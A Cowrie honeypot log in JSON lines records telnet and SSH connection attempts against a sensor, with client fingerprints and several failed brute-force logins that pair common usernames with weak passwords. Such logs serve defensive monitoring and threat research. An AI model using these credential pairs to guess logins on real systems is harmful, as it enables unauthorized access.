{"eventid":"cowrie.session.connect","src_ip":"107.161.24.4","src_port":50508,"dst_ip":"10.17.0.5","dst_port":23,"session":"be187e5bb045","protocol":"telnet","message":"New connection: 107.161.24.4:50508 (10.17.0.5:23) [session: be187e5bb045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:24.220004Z"}
{"eventid":"cowrie.session.closed","duration":120.00985717773438,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:34.369115Z","src_ip":"167.250.105.129","session":"75d044981b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":18036,"dst_ip":"159.203.135.109","dst_port":23,"session":"be44d52753dc","protocol":"telnet","message":"New connection: 167.250.105.129:18036 (159.203.135.109:23) [session: be44d52753dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:35.797867Z"}
{"eventid":"cowrie.session.closed","duration":120.00359392166138,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:37.781097Z","src_ip":"167.250.105.129","session":"0fa725f64e58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":9146,"dst_ip":"159.203.135.109","dst_port":23,"session":"664c9c3c7da3","protocol":"telnet","message":"New connection: 167.250.105.129:9146 (159.203.135.109:23) [session: 664c9c3c7da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:42.842247Z"}
{"eventid":"cowrie.session.closed","duration":120.00226068496704,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:43.234125Z","src_ip":"167.250.105.129","session":"0e3913a294b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":9103,"dst_ip":"159.203.135.109","dst_port":23,"session":"22935e560a67","protocol":"telnet","message":"New connection: 167.250.105.129:9103 (159.203.135.109:23) [session: 22935e560a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:49.762812Z"}
{"eventid":"cowrie.session.closed","duration":30.8424654006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:55.062351Z","src_ip":"107.161.24.4","session":"be187e5bb045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41732,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d25317dce7","protocol":"ssh","message":"New connection: 159.203.92.129:41732 (159.203.135.109:22) [session: 84d25317dce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:55.376948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:55.381902Z","src_ip":"159.203.92.129","session":"84d25317dce7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:55.386663Z","src_ip":"159.203.92.129","session":"84d25317dce7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1111111","message":"login attempt [admin1/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:55.398803Z","src_ip":"159.203.92.129","session":"84d25317dce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:56.406473Z","src_ip":"159.203.92.129","session":"84d25317dce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":14749,"dst_ip":"159.203.135.109","dst_port":23,"session":"97fc5157866e","protocol":"telnet","message":"New connection: 167.250.105.129:14749 (159.203.135.109:23) [session: 97fc5157866e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:50:57.790065Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":58746,"dst_ip":"159.203.135.109","dst_port":22,"session":"a442f87d15d0","protocol":"ssh","message":"New connection: 117.247.23.131:58746 (159.203.135.109:22) [session: a442f87d15d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:15.478191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:15.482816Z","src_ip":"117.247.23.131","session":"a442f87d15d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:16.386823Z","src_ip":"117.247.23.131","session":"a442f87d15d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaolei","message":"login attempt [root/xiaolei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:18.880497Z","src_ip":"117.247.23.131","session":"a442f87d15d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:20.735308Z","src_ip":"117.247.23.131","session":"a442f87d15d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40460,"dst_ip":"159.203.135.109","dst_port":22,"session":"3849e5abd718","protocol":"ssh","message":"New connection: 159.203.92.129:40460 (159.203.135.109:22) [session: 3849e5abd718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:39.222069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:39.226686Z","src_ip":"159.203.92.129","session":"3849e5abd718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:39.231152Z","src_ip":"159.203.92.129","session":"3849e5abd718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"11111111","message":"login attempt [admin1/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:39.241873Z","src_ip":"159.203.92.129","session":"3849e5abd718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:51:40.249454Z","src_ip":"159.203.92.129","session":"3849e5abd718","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44542,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d5eadf9fa6f","protocol":"ssh","message":"New connection: 159.203.92.129:44542 (159.203.135.109:22) [session: 5d5eadf9fa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:23.755476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:23.763652Z","src_ip":"159.203.92.129","session":"5d5eadf9fa6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:23.769905Z","src_ip":"159.203.92.129","session":"5d5eadf9fa6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123","message":"login attempt [admin1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:23.785354Z","src_ip":"159.203.92.129","session":"5d5eadf9fa6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:24.795555Z","src_ip":"159.203.92.129","session":"5d5eadf9fa6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0116913318634,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:35.809154Z","src_ip":"167.250.105.129","session":"be44d52753dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":2658,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a8dc0786d0","protocol":"telnet","message":"New connection: 167.250.105.129:2658 (159.203.135.109:23) [session: e0a8dc0786d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:37.496707Z"}
{"eventid":"cowrie.session.closed","duration":120.0066864490509,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:42.848822Z","src_ip":"167.250.105.129","session":"664c9c3c7da3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":3525,"dst_ip":"159.203.135.109","dst_port":23,"session":"4acfb19ad6c5","protocol":"telnet","message":"New connection: 167.250.105.129:3525 (159.203.135.109:23) [session: 4acfb19ad6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:46.156593Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":2356,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f9f5b100424","protocol":"telnet","message":"New connection: 167.250.105.129:2356 (159.203.135.109:23) [session: 3f9f5b100424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:47.742146Z"}
{"eventid":"cowrie.session.closed","duration":120.00250148773193,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:49.765184Z","src_ip":"167.250.105.129","session":"22935e560a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":4713,"dst_ip":"159.203.135.109","dst_port":23,"session":"239deea262dc","protocol":"telnet","message":"New connection: 167.250.105.129:4713 (159.203.135.109:23) [session: 239deea262dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:51.401138Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":56520,"dst_ip":"159.203.135.109","dst_port":22,"session":"613d1dc2fdc0","protocol":"ssh","message":"New connection: 117.247.23.131:56520 (159.203.135.109:22) [session: 613d1dc2fdc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:55.954643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:55.961528Z","src_ip":"117.247.23.131","session":"613d1dc2fdc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:56.866678Z","src_ip":"117.247.23.131","session":"613d1dc2fdc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":15948,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f5e3a4b8ba5","protocol":"telnet","message":"New connection: 167.250.105.129:15948 (159.203.135.109:23) [session: 1f5e3a4b8ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:57.006171Z"}
{"eventid":"cowrie.session.closed","duration":120.00153040885925,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:57.791472Z","src_ip":"167.250.105.129","session":"97fc5157866e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":1592,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b746d5137ab","protocol":"telnet","message":"New connection: 167.250.105.129:1592 (159.203.135.109:23) [session: 1b746d5137ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:59.354774Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123123aa","message":"login attempt [root/aa123123aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:52:59.927590Z","src_ip":"117.247.23.131","session":"613d1dc2fdc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:01.604354Z","src_ip":"117.247.23.131","session":"613d1dc2fdc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50190,"dst_ip":"159.203.135.109","dst_port":22,"session":"adad2b82eb1c","protocol":"ssh","message":"New connection: 159.203.92.129:50190 (159.203.135.109:22) [session: adad2b82eb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:08.679918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:08.685222Z","src_ip":"159.203.92.129","session":"adad2b82eb1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:53:08.697544Z","src_ip":"159.203.92.129","session":"adad2b82eb1c","protocol":"ssh"}
